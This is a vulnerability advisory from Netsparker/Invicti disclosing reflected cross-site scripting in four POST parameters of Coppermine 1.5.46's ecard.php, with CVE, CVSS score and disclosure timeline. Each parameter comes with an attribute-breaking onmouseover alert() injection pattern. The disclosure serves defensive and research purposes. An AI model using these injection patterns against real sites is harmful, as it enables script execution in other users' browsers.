Multiple Reflected Cross-site Scripting Vulnerabilities in Coppermine 1.5.46


Advisory by Netsparker (now Invicti)
Name: Multiple Reflected Cross-site Scripting in Coppermine 1.5.46
Affected Software: Coppermine
Affected Versions: 1.5.46
Vulnerability: Reflected Cross-site Scripting
Severity: High
Status: Fixed
CVE-ID: 2018-14478
CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Invicti Advisory Reference: NS-18-050

Technical Details

URL: /ecard.php?album=1&pid=1
Parameter Name: sender_name
Parameter Type: POST
Attack Pattern: x" onmouseover=alert(0x01B2D5) x="

URL: /ecard.php?album=1&pid=1
Parameter Name: recipient_email
Parameter Type: POST
Attack Pattern: x" onmouseover=alert(0x01B2DD) x="

URL: /ecard.php?album=1&pid=1
Parameter Name: greetings
Parameter Type: POST
Attack Pattern: x" onmouseover=alert(0x01B2E3) x="

URL: /ecard.php?album=1&pid=1
Parameter Name: recipient_name
Parameter Type: POST
Attack Pattern: x" onmouseover=alert(0x01B2D9) x="

For more information on cross-site scripting vulnerabilities, read the section Cross-site scripting (XSS).

Advisory Timeline

12th November 2018 – First Contact
21th December 2018 – Vendor Fixed
23th January 2019 – Advisory Released

Credits & Authors

These issues have been discovered by Zekvan Arslan while testing Invicti Web Application Security Scanner.

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